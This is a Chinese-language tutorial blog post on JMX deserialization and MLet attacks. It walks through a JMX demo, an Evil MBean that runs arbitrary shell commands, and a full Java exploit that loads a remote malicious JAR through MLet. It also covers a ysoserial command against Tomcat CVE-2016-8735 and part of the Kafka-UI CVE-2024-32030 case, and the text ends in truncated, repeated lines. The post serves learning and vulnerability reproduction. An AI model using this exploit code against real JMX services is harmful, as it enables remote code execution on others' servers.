JMX 反序列化漏洞
前言
前段时间看到普元 EOS Platform 爆了这个洞,Apache James,Kafka-UI 都爆了这几个洞,所以决定系统来学习一下这个漏洞点。
JMX 基础
JMX 前置知识
JMX(Java Management Extensions,即 Java 管理扩展)是一个为应用程序、设备、系统等植入管理功能的框架。JMX 可以跨越一系列异构操作系统平台、系统体系结构和网络传输协议,灵活的开发无缝集成的系统、网络和服务管理应用。
可以简单理解 JMX 是 java 的一套管理框架,coders 都遵循这个框架,实现对代码应用的监控与管理。
JMX 的结构一共分为三层:
1、基础层:主要是 MBean,被管理的资源。分为四种,常用需要关注的是两种。
- standard MBean 这种类型的 MBean 最简单,它能管理的资源(包括属性、方法、时间)必须定义在接口中,然后 MBean 必须实现这个接口。它的命令也必须遵循一定的规范,例如我们的 MBean 为 Hello,则接口必须为 HelloMBean。
- dynamic MBean 必须实现 javax.management.DynamicMBean 接口,所有的属性,方法都在运行时定义。
2、适配层:MBeanServer,主要是提供对资源的注册和管理。
3、接入层:Connector,提供远程访问的入口。
JMX 基础代码实践
以下代码实现简单的 JMX demo,文件结构
├── HelloWorld.java ├── HelloWorldMBean.java └── jmxDemo.java
HelloWorldMBean.java
package org.example; public interface HelloWorldMBean { public void sayhello(); public int add(int x, int y); public String getName(); }
HelloWorld.java
package org.example; public class HelloWorld implements HelloWorldMBean{ private String name = "Drunkbaby"; @Override public void sayhello() { System.out.println("hello world" + this.name); } @Override public int add(int x, int y) { return x + y; } @Override public String getName() { return this.name; } }
jmxDemo.java
package org.example; import javax.management.MBeanServer; import javax.management.ObjectName; import javax.management.remote.JMXConnectorServer; import javax.management.remote.JMXConnectorServerFactory; import javax.management.remote.JMXServiceURL; import java.lang.management.ManagementFactory; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class jmxDemo { public static void main(String[] args) throws Exception{ MBeanServer mBeanServer = ManagementFactory.getPlatformMBeanServer(); ObjectName mbsName = new ObjectName("test:type=HelloWorld"); HelloWorld mbean = new HelloWorld(); mBeanServer.registerMBean(mbean, mbsName); // 创建一个 RMI Registry Registry registry = LocateRegistry.createRegistry(1099); // 构造 JMXServiceURL,绑定创建的 RMI JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:1099/jmxrmi"); // 构造JMXConnectorServer,关联 mbserver JMXConnectorServer jmxConnectorServer = JMXConnectorServerFactory.newJMXConnectorServer(jmxServiceURL, null, mBeanServer); jmxConnectorServer.start(); System.out.println("JMXConnectorServer is ready"); System.out.println("press any key to exit."); System.in.read(); } }
其中
- Probe Level:创建了 HelloWorldMBean 实例 mbean
- Agent Level:创建了 MBeanServer 实例 mbs
- Remote Management Level: 创建了JMXServiceURL,绑定到本地 1099 rmi,关联到MBeanServer mbs
JMX 安全问题
JMX 的安全问题主要发生在以下三处
1、jmx
2、mbean
3、rmi
其中通过利用 MLet 是最常用的攻击手法,算是 jmx 特性 + mbean 利用,接下来我们详细来看看 Mlet 的漏洞利用及原理。
Mlet
Mlet 指的是 javax.management.loading.MLet,该 mbean 有个 getMBeansFromURL 的方法,可以从远程 mlet server 加载 mbean。
攻击过程:
- 启动托管 MLet 和含有恶意 MBean 的 JAR 文件的 Web 服务器
- 使用JMX在目标服务器上创建 MBeanjavax.management.loading.MLet 的实例
- 调用 MBean 实例的 getMBeansFromURL 方法,将 Web 服务器 URL 作为参数进行传递。JMX 服务将连接到http服务器并解析MLet文件
- JMX 服务下载并归档 MLet 文件中引用的 JAR 文件,使恶意 MBean 可通过 JMX 获取
- 攻击者最终调用来自恶意 MBean 的方法
- 下面我们来编写一个漏洞实例。
Evil MBean
文件结构
├── Evil.java └── EvilMBean.java
EvilMBean.java
package com.drunkbaby.mlet; public interface EvilMBean { public String runCommand(String cmd); }
Evil.java
package com.drunkbaby.mlet; import java.io.BufferedReader; import java.io.InputStreamReader; public class Evil implements EvilMBean { public String runCommand(String cmd) { try { Runtime rt = Runtime.getRuntime(); Process proc = rt.exec(cmd); BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream())); BufferedReader stdError = new BufferedReader(new InputStreamReader(proc.getErrorStream())); String stdout_err_data = ""; String s; while ((s = stdInput.readLine()) != null) { stdout_err_data += s+"\n"; } while ((s = stdError.readLine()) != null) { stdout_err_data += s+"\n"; } proc.waitFor(); return stdout_err_data; } catch (Exception e) { return e.toString(); } } }
Mlet Server
将原本的文件打包为 jar 包。步骤省略了,就是 build Artifacts。随后编写 evil.html
整体结构如图
Attack Code
ExploitJMXByRemoteMBean.java
package com.drunkbaby.mlet; import javax.management.MBeanServerConnection; import javax.management.ObjectInstance; import javax.management.ObjectName; import javax.management.remote.JMXConnector; import javax.management.remote.JMXConnectorFactory; import javax.management.remote.JMXServiceURL; import java.net.MalformedURLException; import java.util.HashSet; import java.util.Iterator; public class ExploitJMXByRemoteMBean { public static void main(String[] args) { try { // connectAndOwn(args[0], args[1], args[2]); connectAndOwn("localhost","1099","open -a Calculator"); } catch (Exception e) { e.printStackTrace(); } } static void connectAndOwn(String serverName, String port, String command) throws MalformedURLException { try { // step1. 通过rmi创建 jmx连接 JMXServiceURL u = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + serverName + ":" + port + "/jmxrmi"); System.out.println("URL: " + u + ", connecting"); JMXConnector c = JMXConnectorFactory.connect(u); System.out.println("Connected: " + c.getConnectionId()); MBeanServerConnection m = c.getMBeanServerConnection(); // step2. 加载特殊MBean:javax.management.loading.MLet ObjectInstance evil_bean = null; ObjectInstance evil = null; try { evil = m.createMBean("javax.management.loading.MLet", null); } catch (javax.management.InstanceAlreadyExistsException e) { evil = m.getObjectInstance(new ObjectName("DefaultDomain:type=MLet")); } // step3:通过MLet加载远程恶意MBean System.out.println("Loaded "+evil.getClassName()); Object res = m.invoke(evil.getObjectName(), "getMBeansFromURL", new Object[] { "http://localhost:4141/evil.html"}, new String[] { String.class.getName() } ); HashSet res_set = ((HashSet)res); Iterator itr = res_set.iterator(); Object nextObject = itr.next(); if (nextObject instanceof Exception) { throw ((Exception)nextObject); } evil_bean = ((ObjectInstance)nextObject); // step4: 执行恶意MBean System.out.println("Loaded class: "+evil_bean.getClassName()+" object "+evil_bean.getObjectName()); System.out.println("Calling runCommand with: "+command); Object result = m.invoke(evil_bean.getObjectName(), "runCommand", new Object[]{ command }, new String[]{ String.class.getName() }); System.out.println("Result: "+result); } catch (Exception e) { e.printStackTrace(); } } }
很明显这里是和远程的 jar 包进行了连接,而远程的 jar 包上面放置了恶意的 MBean,关于 Mlet 的攻击流程和漏洞分析会在文章后半部分展开来讲。
帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)
JMX 反序列化漏洞
在实际场景中 JMX 一般出现的漏洞点都是在某某反序列化当中。下面内容总结一下可能存在的三个问题
JMX 自身反序列化漏洞 —— CVE-2016-3427/CVE-2016-8735
漏洞描述
这其实是 JDK 的洞 —— JMX 导致的,但是由于 Tomcat 没有及时打补丁,所以这个漏洞被披露在 Tomcat 中。该漏洞的底层原因是由于 Tomcat 在配置 JMX 做监控时使用了 JmxRemoteLifecycleListener() 方法。
- 漏洞利用前置条件为 JmxRemoteLifecycleListener 监听的 10001 和 10002 端口被开放。
影响版本
Apache Tomcat 9.0.0.M1 - 9.0.0.M11
Apache Tomcat 8.5.0 - 8.5.6
Apache Tomcat 8.0.0.RC1 - 8.0.38
Apache Tomcat 7.0.0 - 7.0.72
Apache Tomcat 6.0.0 - 6.0.47
环境搭建
https://github.com/Drun1baby/CVE-Reproduction-And-Analysis/tree/main/Apache/Tomcat/CVE-2016-8735
需要添加一个 listener 和 catalina.sh,网上教程都有,包括两个 jar 包,我这里不再赘述了。
漏洞复现
- 漏洞复现的 EXP 已经有了
java -cp ysoserial-all.jar ysoserial.exploit.RMIRegistryExploit localhost 10001 Groovy1 "touch /tmp/success"
漏洞触发点 org.apache.catalina.mbeans.JmxRemoteLifecycleListener#createServer
try { RMIJRMPServerImpl server = new RMIJRMPServerImpl(this.rmiServerPortPlatform, serverCsf, serverSsf, theEnv); cs = new RMIConnectorServer(serviceUrl, theEnv, server, ManagementFactory.getPlatformMBeanServer()); cs.start(); registry.bind("jmxrmi", server); log.info(sm.getString("jmxRemoteLifecycleListener.start", new Object[]{Integer.toString(theRmiRegistryPort), Integer.toString(theRmiServerPort), serverName})); } catch (AlreadyBoundException | IOException var15) { log.error(sm.getString("jmxRemoteLifecycleListener.createServerFailed", new Object[]{serverName}), var15); }
很经典的手法,registry.bind() 调用反序列化,接着通过 Grovvy1 链触发
同样这里其实也是用 RMI 协议来打的。
利用 Mlet 的方式动态加载 MBean
这个有点意思,上面在讲 Mlet 攻击的时候其实我们有提到,Mlet 是通过加载远程的 jar 包,调用里面的 codebase 来 rce 的。
而 JMX 调用远程 MBean 方法有以下流程:
1、MBean name、MBean Function Name、params,发送给远程的 rmi server,其中 params 需要先统一转换为 MarshalledObject,通过 readObject 转换为字符串。
2、RMI Server监听到网络请求,包含MBean name、MBean Function Name、 params,其中params经过MarshalledObject.readObject() 反序列化,再通过invoke调用原函数。
所以这里只需要我们恶意构造 String 进行反序列化,就可以进行攻击。在 ysoserial 当中,这一个类为 JMXInvokeMBean
package ysoserial.exploit; import javax.management.MBeanServerConnection; import javax.management.ObjectName; import javax.management.remote.JMXConnector; import javax.management.remote.JMXConnectorFactory; import javax.management.remote.JMXServiceURL; import ysoserial.payloads.ObjectPayload.Utils; /* * Utility program for exploiting RMI based JMX services running with required gadgets available in their ClassLoader. * Attempts to exploit the service by invoking a method on a exposed MBean, passing the payload as argument. * */ public class JMXInvokeMBean { public static void main(String[] args) throws Exception { if ( args.length
我看下来两种漏洞利用的最终思路是很类似的,都是 RMi 去打反序列化,不一样的点在于一个是利用 RMIxxx.bind() 另外一种是在用 jmx:rmi// 协议去打。
当漏洞照进现实 —— CVE-2024-32030 Kafka-UI 反序列化漏洞
https://securitylab.github.com/advisories/GHSL-2023-229_GHSL-2023-230_kafka-ui/#/
漏洞描述
Kafka UI 是 Apache Kafka 管理的开源 Web UI。Kafka UI API 允许用户通过指定网络地址和端口连接到不同的 Kafka brokers。作为一个独立的功能,它还提供了通过连接到其 JMX 端口监视 Kafka brokers 性能的能力。
CVE-2024-32030 中,由于默认情况下 Kafka UI 未开启认证授权,攻击者可构造恶意请求利用后台功能执行任意代码,控制服务器。官方已发布安全更新,修复该漏洞。
影响版本
Kafka-UI
- 漏洞复现的 EXP 已经有了
- 漏洞利用前置条件为 JmxRemoteLifecycleListener 监听的 10001 和 10002 端口被开放。